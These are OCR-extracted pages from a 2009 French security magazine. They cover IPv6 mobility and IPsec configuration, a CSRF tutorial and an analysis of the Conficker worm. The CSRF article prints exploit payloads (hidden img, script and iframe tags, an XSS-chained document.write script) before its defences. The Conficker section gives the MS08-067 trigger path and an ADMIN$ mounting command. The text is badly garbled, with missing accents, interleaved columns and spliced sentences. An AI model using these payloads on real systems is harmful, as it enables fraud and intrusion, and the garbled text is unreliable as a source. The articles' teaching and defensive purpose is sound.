HoT : Home Test , CoT : Care-of Test. empruntent des chemins distincts. Dans le cas contraire il lui serait ais de calculer Kbm et de gnrer des faux messages dassociation. Cette coute nest pas faisable dans le rseau visit puisque les changes entre Agent Mre et mobile sont chiffrs. Pratiquement cette attaque est aise dans le rseau du correspondant mais celle-ci nest pas value comme tant plus risque que celles que lon peut retrouver dans un contexte sans mobilit par simple IPspoofing, NDP spoofing Afin de rduire les risques, les nonces ainsi que la cl Kcn sont rgulirement mis jour.
Les correspondants intgrant loptimisation de route doivent pralablement disposer de nonces ainsi que dune cl secrte note Kcn. La procdure usite est la suivante : un message HoTI est mis depuis la Home Address du mobile vers le correspondant via l'agent mre. Il contient une valeur alatoire sur 64 bits, le Home Init cookie, paralllement un message CoTI est mis depuis la care-of address du mobile, directement vers le nud correspondant. Celui-ci contient une seconde valeur alatoire sur 64 bits, le Care-of Init cookie, en rponse au message HoTI, un message HoT, est mis par le correspondant destination de la Home Address du mobile via l'Agent Mre. Ce paquet contient entre autre lindex dun nonce choisi par le correspondant ainsi quun Home Keygen token calcul par : premier
(64, HMAC _ SHA1 (Kcn, (home address | nonce | 0 )))
Table 3. Rle des diffrents champs de lextension dentte ESP Champs SPI Sequence Number IV Taille 32 bits 32 bits Variable Selon lalgorithme usit Variable Variable Rle Security Parameters Index utilis par le rcepteur pour trouver lassociation de scurit utiliser. Compteur incrment chaque paquet. Permet en particulier de dtecter le rejeu. Vecteur dinitialisation ventuel pour les algorithmes de chiffrement. Traffic Flow Confidentiality. Utilis pour une protection contre les attaques statistiques. Utilis pour des besoins dalignement dentte. Sa taille est telle que lextension dentte ESP est un multiple de 64 bits (32 bits pour IPv4). Indique la taille du champ Padding en octets. Dcrit lentte de la couche immdiatement suprieure ou la prochaine extension dentte. Similaire au champ Protocol en IPv4. Integrity Check Value. Destin la validation de lintgrit du paquet. Doit tre un multiple de 32 bits.
8 bits 8 bits
de mme, en rponse au message CoTI, un message CoT est mis par le correspondant vers la Careof Address du mobile. Ce paquet contient entre autre lindex dun autre nonce choisi par le correspondant ainsi quun Home Keygen token calcul par : premier (64,
HMAC _ SHA1 (Kcn, (care-of address | nonce | 0 )))
ICV
Table 4. Construction de lentte IPv6 extrieure pour ESP en mode tunnel Champs de lentte IPv6 Version DS ECN Flow Label Payload Length Next Header Hop Limit Source Address Destination Address Extensions Headers Entte Extrieur Positionn la valeur 6. Copi depuis lentte intrieur. Copi depuis lentte intrieur. Copi depuis lentte intrieur ou configur. Construit. Positionn la valeur de ESP (50) Construit. Construit. Construit. Jamais copi mais peut apparatre en postambule. Entte Intrieur Aucune modification. Aucune modification. Positionn 0. Aucune modification. Aucune modification. Aucune modification. Dcrment dune unit Aucune modification. Aucune modification. Aucune modification.
La Figure 9 prsente le cheminement de ces diffrents messages au travers de lInternet. Cette cl sera utilise lors de la mise jour des associations pour authentifier le mobile par le calcul dun HMAC. Cette procdure repose sur lhypothse forte quaucun espion ncoute la fois les messages CoT et HoT qui normalement
3/2009 HAKIN9
19
DOSSIER
autre) est transparent pour l'ensemble des htes IPv6 du rseau mobile. Un hte IPv6 standard peut ainsi bnficier d'une connectivit permanente au sein d'un rseau mobile sans avoir toutefois besoin de protocoles additionnels. NEMO, coupl avec certaines extensions, gre notamment la mobilit des rseaux IPv6, la est activ par dfaut. Sous XP ou Server 2003, il vous faudra lactiver au pralable. Selon les versions de Windows les mcanismes disponibles sont plus ou moins complets. La mobilit IPv6 ne prend en compte que la partie correspondant ; ni Home Agent ni Nud Mobile ne sont disponibles ; Sous Windows XP et Server 2003, IPsec pour IPv6 offre les mcanismes AH et ESP mais le chiffrement ainsi que la gestion automatique des cls nest pas disponible. Seul Vista et Server 2008 offrent ces fonctionnalits. Vista et Server 2008 permettent une utilisation de DHCPv6.
La majeure partie des Systmes dexploitation, des softwares des quipements rseaux actuels disposent dun support IPv6. Vous pourrez le vrifier sur le site de lIPv6 Ready Logo Committee, programme mondial de certification IPv6. Vous obtiendrez sur ce site le dtail des implmentations actuellement certifies et vous pourrez aisment y constater limportant retard de lEurope. Les infrastructures rseaux europennes ont galement accumules un retard considrable dans cette migration Et pourtant les rseaux de lenseignement et de la recherche proposent depuis dj plusieurs annes un support Natif dIPv6 voir du multicast IPv6. Heureusement quelques ISP (Internet Service Provider), tels que Free, offrent depuis quelques mois un adressage IPv6. Ce paragraphe a pour objectif de vous faire apprhender la mise en uvre basique dIPv6 sur les principaux systmes usits, savoir Windows et Linux. On suppose que vous disposez dores et dj dun adressage IPv6 parce que vous tes par exemple dans une des situations prcdemment voques. On rappelle que les Internet IPv4 et IPv6 sont bien distincts mme si une utilisation des machines en double pile permet la superposition de certaines portions. Dans le cas contraire, si vous dsirez plus quun rseau local, il vous faudra utiliser un des mcanismes de transition dcrit dans larticle prcdent. Nous vous conseillons prfrentiellement un tunnel broker et en second choix un tunnel 6to4.
Bien entendu les interfaces concernes doivent accepter la connectivit TCP/IPv6 dans le menu Proprits adquat. Une adresse Lien-locale associe chacune de vos carte rseau sera
Avec Windows
La majeure partie des versions courantes de Windows disposent dun support IPv6 : Vista, XP SP1, XP SP2, Server 2003, 2008. Sous Vista et Server 2008 ce support
20 HAKIN9 3/2009
IPV6
3/2009 HAKIN9
21
DOSSIER
alors automatiquement configure par concatnation du prfixe fe80 et de votre identifiant dinterface dfini depuis ladresse MAC associe. Les interfaces relies un rseau IPv6 constitu dun routeur annonant des Router Advertisement, obtiendront de mme automatiquement une adresse globale unicast, unique, routable et contenant ladresse MAC de linterface concerne. La commande ipconfig /all (ou netsh show) vous prouvera votre connectivit. La figure 10 vous montre une telle configuration sous Windows XP. Vous constaterez galement une adresse supplmentaire, qualifie de Temporaire. Il sagit en fait dune adresse globale, de dure de vie relativement courte destine au masquage de ladresse MAC (disponible depuis le SP2). Au besoin vous pourrez la dsactiver par :
ipv6 p gpu useTemporaryAddresse no
Netsh (et/ou ipv6.exe sous Windows XP). Hormis celles prcdemment dfinies, les commandes essentielles sont indiques dans le Tableau 5.
pralablement traduite par le biais des serveurs DNS. Avec IPv6, il en est de mme, le browser dans un premier temps recherche lensemble des adresses IP associes au serveur HTTP. Si celui-ci dispose dune adresse IPv6, il tentera dans un premier temps de le joindre par IPv6. En cas dchec, cest le protocole IPv4 qui sera utilis. Nous rappelons quil nest pas indispensable que le serveur DNS soit adress en IPv4 pour retourner des adresses IPv6.
Rle Affiche les interfaces IPv6 Permet dactiver le forwarding des interfaces, les annonces de Router Advertisement
Connectivit, chemin
Lorsque vous disposerez dune adresse routable ou simplement pour tester la connectivit entre deux machines, vous pourrez utilisez la commande ping6 qui est le pendant de ping pour IPv4. Cette commande gnre un ensemble de paquets ICMPv6 Echo Request et affiche les rponses associes ICMPv6 Echo Reply. La Figure 11 montre un tel ping6 sur www.google.fr dsormais adressable en IPv6. Les paquets rsultants de cette commande sont galement indiqus par capture du trafic avec Wireshark. En IPv4, pour connatre le trajet suivi par les paquets, on utilise gnralement la commande tracert. En IPv6, il sagit dsormais de tracert6
netsh interface ipv6 add address [[interface=]String] [address=]IPv6Address [[type=]{unicast | anycast}] [[validlifetime=]{Integer | infinite}] [[preferredlifetime=]{Integer | infinite}] [[store=]{active | persistent}] netsh interface ipv6 show bindingcacheentries
Affiche le Binding cache utilis par MIPv6 Affiche les routes IPv6 Ajoute une route IPv6 dans la table de routage
netsh interface ipv6 add route [prefix=]IPv6Address/Integer [[interface=]String] [[nexthop=]IPv6Address] [[siteprefixlength=]Integer] [[metric=]Integer] [[publish=]{no | yes | immortal}] [[validlifetime=]{Integer | infinite}] [[preferredlifetime=]{Integer | infinite}] [[store=]{active | persistent}] netsh interface ipv6 renew [[interface=]String]
Rle Affiche les adresses IPv6 Ajoute une adresse IPv6 Affiche les routes IPv6 Ajoute une route IPv6 Affiche les voisins NDP Ajoute un voisin NDP
Diverses Commandes
Lensemble des configurations essentielles IPv6 sous Windows seffectuent laide de
22 HAKIN9 3/2009
IPV6
A lheure actuelle la majeure partie des navigateurs supporte IPv6 par dfaut, Firefox, Internet Explorer A titre dexemple vous pourrez vous connecter sur www.kame.net. Si vous disposez dun accs extrieur IPv6 ainsi que dun browser compatible vous devriez voire en premire page une tortue anime. Le cas chant celle-ci sera fixe. Avec IPv6, les adresses tant 4 fois plus longues, les URLs contenant des IPs devraient encore moins se pratiquer. Cependant ceci reste possible et pour diffrencier les :: de ladresse avec la section port de lURL, il faut entourer lIP de [ ]. (Exemple : http://[2001:4860:a003::68] pour accder google en IPv6). Le systme Linux tant lun des mieux documents, si lune des options vous manque vous pouvez toujours utiliser la commande man (exemple : man 8 ip). En dernier point il vous faudra peut-tre activer un protocole de routage intradomaine (Ripng, OSPfv3) voir interdomaine (Is-Is, BGP-4+).
Avec Linux
Quelle que soit la distribution contemporaine utilise, celle-ci contient IPv6. Vous pourrez nanmoins tester la prsence de son support dans le noyau par vrification de la prsence du chemin : /proc/net/if_inet6. Le module IPv6 doit galement tre charg avant toute utilisation. Un appel lsmod vous le confirmera.
donnera lensemble des interfaces prsentes sur le lien-local, traceroute6 : pour dtecter le chemin emprunt par les paquets, tracepath6 : similaire au traceroute6, trace le chemin vers une destination donne tout en dcouvrant la MTU le long de ce chemin, nslookup, host : utiles pour la rsolution DNS en v4 ou v6.
Lensemble des outils classiques rseaux disponibles sur Linux a t adapt IPv6 : ssh, telnet, ftp, netcat, nmap Le firewall iptable classique dispose galement dune variante baptise ip6table pour IPv6.
Titre IPv6 Thorie et Pratique - Gisle Cizault Site de lIPv6 Ready Logo Committee Statut des applications rseaux supportant IPv6 HOWTO IPv6 pour Linux HOWTO du routage avanc et du contrle de trafic sous Linux Le module de dchiffrement et dauthentification ESP pour Wireshark
DOSSIER
Par simplification nous choisirons un mode manuel de gestion des associations de scurit.
3ffe::2 : par ESP (Chiffrement :
aes-cbc, cl : aescbcencryption ; Authentification : hmac-sha1, cl : hmacsha1authenticati ; SPI : 10); 3ffe::3 : par ESP (Chiffrement : 3descbc, cl : 3descbcencryptiontesting ; Authentification : hmac-sha1, cl : hmacsha1authenticati ; SPI : 11)
Chacune de ces diffrentes machines devra donc tre configure pour prendre en compte ce paramtrage IPsec. Ceci Table 8. Liste des RFCs relatives IPv6 Norme RFC 2403 RFC 2404 RFC 2405 RFC 2409 RFC 2451 RFC 3566 RFC 3602 RFC 3686 RFC 3775 RFC 3776 RFC 3963 RFC 4109 RFC 4301 RFC 4302 RFC 4303 RFC 4306 RFC 4307 RFC 4385 RFC 4835 RFC 4877 RFC 4885 RFC 4886 RFC 4887 RFC 4888 RFC 4889
24 HAKIN9 3/2009
peut se raliser par dfinition dun fichier de configuration nomm par exemple setkey.conf utilisant le format suivant (Listing 1). Si lon considre 3ffe::1, Il faut donc dans un premier temps dfinir les SPD (Security Policy Database) afin que tout trafic sortant en direction de 3ffe:: 2 et 3ffe::3 soit protg par Ipsec (Listing 2). Dans un second temps il faut indiquer les SPI, les cls ainsi que les algorithmes utiliser au niveau de la SAD (Listing 3). Bien entendu, 3ffe::2 et 3ffe:: 3 doivent comporter les SPDs et SADs correspondantes afin que toute trafic reu
puisse tre authentifi et dchiffr. La configuration de ces diffrents lments sur 3ffe::2 sera donc proche de Listing 4. Ainsi tout trafic provenant de 3ffe::1 sera protg par ESP en mode transport avec les cls et algorithmes dfinies. Afin dactiver ces paramtres il vous faudra utiliser setkey : setkey f
setkey.conf
Titre The Use of HMAC-MD5-96 within ESP and AH The Use of HMAC-SHA-1-96 within ESP and AH The ESP DES-CBC Cipher Algorithm With Explicit IV The Internet Key Exchange (IKE) The ESP CBC-Mode Cipher Algorithms The AES-XCBC-MAC-96 Algorithm and Its Use With IPsec The AES-CBC Cipher Algorithm and Its Use with IPsec Using Advanced Encryption Standard (AES) Counter Mode With IPsec Encapsulating Security Payload (ESP) Mobility Support in IPv6 Using IPsec to Protect Mobile IPv6 Signaling Between Mobile Nodes and Home Agents Network Mobility (NEMO) Basic Support Protocol Algorithms for Internet Key Exchange version 1 (IKEv1) Security Architecture for the Internet Protocol IP Authentication Header IP Encapsulating Security Payload (ESP) Internet Key Exchange (IKEv2) Protocol Cryptographic Algorithms for Use in the Internet Key Exchange Version 2 (IKEv2) Cryptographic Algorithm Implementation Requirements for Encapsulating Security Payload (ESP) and Authentication Header (AH) Cryptographic Algorithm Implementation Requirements for Encapsulating Security Payload (ESP) and Authentication Header (AH) Mobile IPv6 Operation with IKEv2 and the Revised IPsec Architecture Network Mobility Support Terminology Network Mobility Support Goals and Requirements Network Mobility Home Network Models Network Mobility Route Optimization Problem Statement Network Mobility Route Optimization Solution Space Analysis
Vous remarquerez que seuls les changes depuis 3ffe::1 vers 3ffe: :2 ainsi que ceux depuis 3ffe::1 vers 3ffe::3 sont protgs. La rciproque nest pas vraie ; par exemple les paquets provenant de 3ffe::2 vers 3ffe::1 ne sont en aucun cas protgs. Vous pouvez ds prsent vrifier ces assertions par un ping depuis 3ffe::1 vers 3ffe::3. Les Echo Request doivent tre protgs par IPsec tandis que les Echo Reply circuleront en clair. Afin de faciliter cette analyse vous pourrez utiliser Wireshark ainsi que le module ESP intgr permettant le dchiffrement des paquets.
Conclusion
Au travers de ces diffrents articles vous avez pu vous initier aux divers mcanismes principaux composant IPv6. Ces mcanismes sont relativement nombreux, la modification de la couche rseau ncessite en effet beaucoup d'adaptation. IPv6 est un protocole mature, ses premires bases ont t normalises en 1998, et n'ont cesse d'tre raffine depuis par l'IETF. La majeure partie des systmes d'exploitation permettant actuellement de mettre en uvre ce protocole; le nombre d'adresses IPv4 allouable tant presque puis, la transition est inluctable c'est donc ds maintenant qu'il s'agit de se familiariser avec ses concepts, sa mise en uvre et les nouvelles opportunits offertes par IPv6.
Rfrences
Vous trouverez dans les Tableaux 7 et 8, les rfrences, normes ainsi que des liens Web o vous obtiendrez des renseignements complmentaires sur les divers mcanismes voqus travers cet article. Frederic Roudaut
Il travaille actuellement chez Orange Labs (anciennement France Telecom R&D) Sophia Antipolis pour le compte dOrange Business Services IT&Labs depuis 1 an et demi.
IPV6
3/2009 HAKIN9
25
PRATIQUE
AMAR PAUL
Les failles Cross-Site Request Forgeries ou communment appeles CSRF ou encore XSRF restent un vecteur d'attaque trs mconnu par rapport d'autres vulnrabilits Web tels que les Injection SQL.
ette faille prononce Sea-Surfing a un concept trs simple : forcer l'utilisateur tre le dclenchement d'une action. En d'autres termes, l'action va tre ralise par le navigateur de l'utilisateur sans s'en apercevoir. De plus, il faut signaler le fait que l'utilisateur doit avoir un privilge spcifique sur une plateforme concerne (comme par exemple un blog, site d'enchres etc.). Paralllement, une chose rajouter est que les attaques de type XSRF et XSS ne sont pas similaires. Une faille XSS est faite pour rediriger quelqu'un, rcuprer son cookie, ou avoir un Shell XSS, en d'autres termes, cette faille se fait en plusieurs tapes tandis qu'une faille de type XSRF se fait instantanment via le navigateur de la victime pour une action spcifique sur une plate-forme cible. Prenons l'exemple d'un site avec une authentification basique qui permet un utilisateur d'acheter des produits ainsi que les quantits souhaites. L'url en question serait de la forme : http://site.com/buy.php?product1=10&product2=20. Ds lors, une personne pourrait dtourner cela pour faire acheter la victime des produits non sollicits son insu sans l'alerter plus qu'autre chose. Les risques sont donc nombreux et varis vu l'expansion de la toile l'heure o nous parlons. Cela peut tre de changer un mot de passe, rcuprer des adresses mails, ou bien en envoyer mais aussi faire des transferts d'argent ou encore comme nous l'avons vu plus haut, acheter des produits.
Aprs avoir vu l'aspect global de ces vulnrabilits qui fleurissent sur le Web, nous allons maintenant nous intresser leur utilisation, comment les exploiter, pour ainsi comprendre comment scuriser ses applications Web un tel danger.
Nous allons donc reprendre l'exemple du site internet qui permet d'acheter certains produits. L'url qui nous permettait d'acheter certains produits tait du type : http://site.com/buy.php? product1=10&product2=20 Intressons-nous maintenant au code source de la page request.html, qui permet de stipuler les quantits de produits que nous voulons, et envoie cela au script buy.php (voir Listing 1). Comme nous avons pu le voir d'aprs l'url que nous avons donn, les quantits sont donns en GET dans l'url, ce qui veut dire que toutes les donnes transmises au script buy.php seront en clair dans l'url. Intressons-nous maintenant au script php qui rcupre les donnes : (voir Listing 2) Comme nous pouvons le voir, que nous utilisions $ _ GET ou $ _ REQUEST, le rsultat sera le mme car $ _ REQUEST regroupe les $ _ GET mais aussi les $ _ POST. Une personne mal intentionne pourrait donc faire en sorte qu'une personne inscrite sur ce site achte de nombreux produits, mais comment ? C'est ce que nous allons voir. Plusieurs mthodes se dessinent devant nous.
CSRF
Avant tout, la premire qui est la plus utilise consiste s'intresser aux attributs de la balise HTML <img>. Cette balise va donc nous permettre d'inclure une image. (En tout cas, la fonction premire de cette Dcomposition de la balise HTML <img> (nous nous intresserons qu' l'attribut src):
<img src="http://site.com/image.png">
Prenons par exemple ce cas l, si tout se passe bien, lorsque l'utilisateur va charger la page, l'image hberg sur http://site.com portant le nom de image.png va s'afficher. Le navigateur va donc envoyer une requte HTTP de type GET afin de la rcuperer (voir Figure 1). Dans un autre cas, si nous mettons
<img src="http://site.com">
(voir Figure 2). Ds lors, une autre requte HTTP de type GET va tre envoye http://site.com car le navigateur ne fait pas la diffrence entre une image ou pas. Ce qui fait que le site http://site.com recevra donc bien une requte HTTP de type GET. Maintenant, nous allons nous rintresser notre site qui permet de vendre diffrents produits. Si l'utilisateur navigue sur une page qui contient une balise <img> pointant vers l'url qui permet d'acheter diffrents produits, ce dernier l'aura excuter sur son propre compte. Un exemple d'exploit serait alors : (voir Listing 3) Dans ce cas l, sans que l'utilisateur s'en rende compte, celui-ci aura achet 10 quantits de produit1 et 20 quantits de produit2. Bien entendu, il n'existe pas seulement la balise <img> du HTML qui permet de faire cela. D'autres balises tel que <iframe> ou encore du JavaScript peuvent tre utilises afin de reproduire cette attaque. Nous allons donc montrer divers exemples d'utilisation comme par exemple avec la balise <script>:
<script src=http://site.com/buy.php? <script>
Nous mettons la hauteur et larguer du cadre 0 pour que celle-ci passe inaperu vis--vis de l'utilisateur dup. Nous allons nous intresser une pratique qui peut tre plus que dvastatrice qui est de coupler une XSRF avec une XSS. Listing 1. Script buy.php
En d'autres termes, si des applications Web sont vulnrables des injections de type XSS, vous pouvez faire en sorte d'y ajouter une CSRF. Prenons l'exemple d'un systme de blog qui permet de poster un commentaire au sujet d'un article spcifique. Si ce dernier module est faillible une injection XSS, nous pouvons alors y injecter un code malicieux permettant de faire des requtes vers un certain domaine ou rcuprer des informations sur les victimes. Nous pouvons aussi conjecturer le fait qu'ils sont peut tre inscrits sur le site permettant de faire des achats de produits et ainsi faire
<form action="buy.php" method="GET"> Symbol: <input type="text" name="product1" /><br /> <input type="submit" value="Acheter !" /> </form>
product1=10&product2=20></script>.
foo.src = "http://site.com/buy.php?
3/2009 HAKIN9 27
PRATIQUE
acheter toutes ces victimes de nombreux produits pralablement choisis. Je ne vais donc pas expliquer le principe d'une faille XSS et comment l'exploiter, mais il suffirait d'inclure un script distant qui permettrait de faire afficher de nombreuses images travers l'attribut src et les faire pointer vers le script permettant d'acheter des produits. Cela pourrait tre mit en place grce la fonction document.write(); du JavaScript. Ex (script.js) :
document.write("<img src=\ 10&product2=20\" />");
concret qui permettrait de rsoudre une faille CSRF (voir Listing 5). Voyons maintenant le script PHP buy.php, savoir comment traite les donnes qu'il reoit (voir Listing 6). Dans ce cas l, nous regardons dj si le REFERER est le mme. Si cela est vrai, ds lors, nous dterminons si une variable est affecte grce la fonction PHP isset(); Si c'est le cas, nous pouvons alors commencer faire les traitements ncessaires. De plus nous partons dans le cas o l'utilisateur va Listing 4. Une condition dans script buy.php
rentrer de bonnes valeurs, il faudrait vrifier que ces dernires soient bien des nombres grce la fonction is_int(); de PHP. Dans les cas chants, de nombreux messages d'erreurs sont affichs pour expliquer la cause du problme. Paralllement, dans notre code PHP, nous avons utiliser le : $_POST, et non pas le $_REQUEST afin de spcifier que nous ne voulions que rcuprer les variables de type POST. Cela permet d'viter de nombreuses attaques de type CSRF.
"http://site.com/buy.php?product1=
Aprs avoir vu comment exploiter une faille de type XSRF, nous allons nous intresser aux mthodes qui peuvent nous permettre de palier ces risques de manire efficace. Comme nous avons pu le voir dans la partie prcdente, les failles de types CSRF peuvent tre trs dangereuses pour les usagers. Nous allons donc mettre en avant des techniques qui permettront de palier ces risques :
<?php if ($_SERVER['HTTP_REFERER'] == "http://site.com/request.php") { // traitement des donnes }else{ echo "L'action ne pourra pas tre ralise ! </br>"; } ?>
Premirement, pour tous les scripts qui permettront de trater des donnes au moment d'actions sensibles : Lors d'achat, de vente de marchandise, d'envoi de mail, de changement de password etc. Il suffirait de faire une condition dans notre script buy.php(voir Listing 4). Malheureusement, il existe de nombreux moyens qui permettent une personne mal intentionne de spoofer son Referer pour faire croire qu'il vient d'un autre site. Je ne rentrerais pas dans les dtails mais il suffirait de changer quelques attributs au niveau du HTTP Header. (De nombreuses extensions (plug-ins) sont disponibles comme par exemple avec Mozilla Firefox et son LiveHTTPHeader). Une autre protection qui peut se rvler judicieuse est l'utilisation automatique des requtes $_POST au dtriment des requtes $_GET. Tous les exemples que j'ai montr se faisait via l'url, les lments taient donc envoys via la mthode GET. Grce la mthode POST, on pourrait viter de nombreux problmes, nous allons voir un exemple
28 HAKIN9 3/2009
CSRF
Sur Internet
Article qui permet de comprendre le principe des CSRF : http://www.apprendre-php.com/tutoriels/ tutoriel-39-introduction-aux-cross-siterequest-forgeries-ou-sea-surf.html Permet d'avoir une vue globale du sujet : http://fr.wikipedia.org/wiki/Cross-Site_ Request_Forgeries Article trs intressant de Chris Shiflett au sujet des attaques de type CSRF : http://shiflett.org/articles/cross-siterequest-forgeries FAQ pour ce qui est des attaques CSRF : http://www.cgisecurity.com/csrffaq.html#references
Figure 2. Lorsqu'une image est bien charge via la balise <img> Aprs avoir vu qu'il fallait vrifier nos Referer, favoriser les requtes POST aux requtes GET, nous allons traiter des Tokens ou autrement dit : Jetons. Les Tokens reprsentent des caractres gnrs de manire unique afin de proposer de manire efficace une authentification. Plus prcisment, lorsqu'une personne va tre sur la page du formulaire, un lment va y tre reprsent en prenant le type hidden pour pas que l'utilisateur le voit. Sa valeur sera un nombre alatoire qui aura subi un cryptage de type MD5. (Utilis pour les mots de pass sur internet). De plus nous utiliserons des sessions afin d'avoir un systme beaucoup Listing 8. Source du fichier buy.php
<?php session_start(); function buy(){ if (isset($_POST['jeton']) && isset($_SESSION['jeton'])){ if ($_POST['jeton'] == $_SESSION['jeton']){ echo "</br>L'action peut alors tre ralise !"; // traitement de l'opration session_destroy (); }else{ throw new Exception('Problme de session!'); } }else{ echo "Les variables ne sont pas dclares"; } } try { buy(); }catch (Exception $e){ echo "Exception : ".$e->getMessage()."</br>"; session_destroy(); } ?>
plus scuris. Le code correspondant serait donc (toute la page HTML n'a pas t reprsente, seulement les lments les plus importants y sont prsents.) : Source du fichier request.php (voir Listing 7). Ds lors, notre script buy.php ressemble cela : (la vrification du HTTP Referer n'a pas t faite, mais il suffit de reprendre l'exemple prcdent) : Source du fichier Buy.php (voir Listing 8). Cet exemple de code nous permettrait donc de protger les usagers de certains sites Web des attaques de type CSRF. Pour finir l'article, nous parlerons d'une dernire mesure pouvant tre mise en
place qui est le fait de faire valider toute action dites sensibles (Changer un mot de passe, etc...). Pour cela il suffit de faire une fonction et voir ce qu'elle renvoie. Par exemple, nous pourrions raliser un mini-formulaire avec deux champs. Choisir Oui ou Non et ainsi renvoyer la rponse (voir Listing 9). Il suffirait ensuite de vrifier l'existence d'une variable et interprter le script en fonction des exigences de l'utilisateur.
Conclusion
Pour conclure, nous avons pu montrer que les risques des failles XSRF taient nombreux. Il y a box taient disponibles sur internet. De nombreuses box avaient pour login/pass : admin/admin. Ds lors, il tait trs facile de lancer une attaque contre ces dernires. Paralllement, des applications telles que Gmail, qui ont corrig une vulnrabilit qui permettait une personne mal intentionne de rcuprer la liste des contacts d'un utilisateur. Les failles de type Cross-Site Request Forgeries n'ont donc pas dit leur denier mots et vont srement tre rcurrente au niveau des applications Web futures.
Amar Paul
Il est actuellement en DUT informatique Fontainebleau. Il est passionn par la scurit informatique depuis plusieurs annes. Depuis peu, il sintresse la scurit des systmes dinformations afin de comprendre les risques ventuels et les moyens mis en place permettant de palier ces problmes de scurit. Par la suite, il aimerait raliser un diplme dingnieur en informatique.
3/2009 HAKIN9
29
FOCUS
FRDRIC CHARPENTIER, XMCO PARTNERS
Conficker,
le ver qui rveille la scurit informatique
250.000 dollars, c'est le montant de la somme offerte par Microsoft pour toute information conduisant l'arrestation de l'auteur du ver Conficker.
Degr de difficult
eux ans aprs la fameuse vulnrabilit MS06-040 sans doute la faille prfre des pentesters -, le service Server est une nouvelle fois point du doigt cause dune vulnrabilit critique : lenvoi dune requte RPC malicieuse permet de provoquer un dbordement de mmoire et dexcuter un code arbitraire sur une machine distante. Peu de temps aprs la publication de cette vulnrabilit sous le nom MS08-067, les premiers exploits sont publis au sein du framework Metasploit. Comme lavait prdit Microsoft dans son bulletin, toutes les conditions taient runies pour un wormable exploit .
Chronologie du dsastre
Gimmiv.A . Ce premier ver se concentrer sur le vol des hashs des comptes utilisateurs du systme, ainsi que les mots de passe Outlook. Le 21 novembre 2008, un second ver a t baptis Worm:Win32/Conficker.A . Celui-ci se propageait aussi en exploitant la vulnrabilit MS08-067. Quelques jours plus tard, le 29 dcembre 2008, le ver Conficker (Worm:Win32/Conficker.B) a t diffus. Les pirates, dorigine ukrainienne selon les premires rumeurs, ont cette fois-ci mis le paquet en dveloppant un ver capable d'infecter de nombreuses machines et de se rpandre par dautres moyens astucieux
Le 23 octobre 2008, Microsoft publie un bulletin de scurit critique out-of-band, cest--dire un patch pour une vulnrabilit tellement critique que Microsoft ne souhaite pas attendre le deuxime mardi du mois comme l'accoutume. Tout de suite, les pirates et crateurs de virus comprennent limportance de la vulnrabilit en question, dautant quaucune vulnrabilit naffectant un service prsent sur tous les systmes Windows le service de partage de fichiers navait t dcouverte depuis 2006. Le 28 octobre, un premier exploit fonctionnel exploitant la faille est publi sur Milw0rm par un certain Polymorphours. Trs rapidement, un premier ver exploitant la faille MS08-067 a t dcouvert et nomm
CONFICKER
malicieuses exploitant le dbordement de tampon. Ds que le dbordement de tampon russit sur une machine, un code malicieux (shellcode) est excut. Celui-ci tente alors de tlcharger en HTTP une copie complte du ver stock sur le serveur web en coute sur la premire machine infecte. De faon similaire, la nouvelle copie du ver tentera ensuite de se rpandre nouveau. Une fois toutes ces informations rcupres et traites, le ver va tenter de sauthentifier sur le partage ADMIN$ des machines quil na pas russi infecter en exploitant la faille MS08-067. Pour cela, Conficker va tester une liste de mots de passe triviaux pour les comptes identifis prcdemment avec EnumDomainUsers. Il sagit bien dune vritable attaque par dictionnaire intelligente, puisquelle est base sur les vritables noms des utilisateurs (logins) du domaine Microsoft. De faon schmatique, le ver utilise une commande pour monter les partages ADMIN$, tel que:
net use X: \192.168.10.50\
ADMIN$ /USER:administrateur
La capture suivante illustre les mots de passe tests par le ver (voir Figure 2).
Conficker exploite une faille de scurit des systmes Windows publie et corrige en octobre 2008 par Microsoft. Cette faille, rfrence sous le code MS08-067 ou CVE-2008-4250, est due un bug de type stack buffer overflow. Il s'agit donc d'un dbordement de tampon relativement classique. De surcroit, ce bug est situ dans une partie du code trs proche d'un prcdent bug critique, le bug MS06-040. La question est lgitime : pourquoi cette faille n'a pas t dcouverte et corrige plus tt par Microsoft ? Une partie de la rponse rside dans la nature de la fonction vulnrable : NetPathCanonicalize(), prsente dans la librairie netapi32.dll. Cette fonction a pour objectif de traiter les chaines de caractres correspondant des chemins d'accs (path) reus lors des requtes MSRPC d'une autre machine. C'est le procd de canonicalization ou de normalisation du chemin d'accs. En effet, il existe une multitude de faons d'crire un chemin d'accs. Par exemple, nous pouvons crire c: \dossier\file.txt ; mais il est aussi possible d'crire c:\dossier\.\../dossier\file.TXT . Le rl de la fonction NetPathCanonicalize() est de normaliser les chemins avant de les passer aux fonctions suivantes du service Server. La multitude de variantes possibles oblige donc la fonction raliser un grand nombre de boucle while() et d'utilisation de compteur. Comme le fait remarquer un ingnieur scurit de Microsoft, l'ironie est que le bug apparait dans une fonction qui contrle la taille du buffer reue ! Voici la fonction vulnrable :
_tcscpy_s(previousLastSlash, pBufferEnd - previousLastSlash, ptr + 2);
Le bug est d au fait que l'argument previousLastSlash pass la fonction _tcscpy_s() peut, dans certaines situations complexes, se retrouver avec une valeur inconsistante. Ds lors, la fonction peut planter et le contenu incontrl de la chaine traite peut se retrouver sur la pile mmoire : le buffer overflow est ici. Ce dbordement est exploitable depuis le rseau avec une connexion sur le port TCP/139 ou le port TCP/445 d'une machine Windows avec le service Server dmarr, c'est--dire le service en charge du partage de fichiers et des imprimantes. Le bug peut alors tre dclench en demandant une ressource rseau avec un chemin de la forme : \c\..\..\AAAAAAAAAAAAAAAAAAAAAAAAAAAAA . La chaine AAAAA dbordera sur la pile. L'exploit consiste remplacer cette chaine par un shellcode suivi d'une suite d'adresses de retour judicieusement calcule. Lors que la fonction _ tcscpy _ s() plantera en traitant les \..\ du chemin d'accs, l'adresse de retour pointera sur le dbut du shellcode. Ok, mais la protection /GS naurait-elle pas d protger contre ce dbordement ? Daprs Microsoft, ce bug est dclench avant lutilisation de la protection. Toujours d'aprs Microsoft, seuls des tests de fuzzing pousss auraient pu dtecter cette faille. Le nouveau processus qualit logiciel Microsoft Security Development Lifecycle (SDL) ne l'avait pas vu. Peut-on vraiment leur en vouloir ?
3/2009 HAKIN9
31
FOCUS
U:\RECYCLER\S-%d-%d-%d-%d%d%d-%d%d% d-%d%d%d-%d\<random letters>.dll
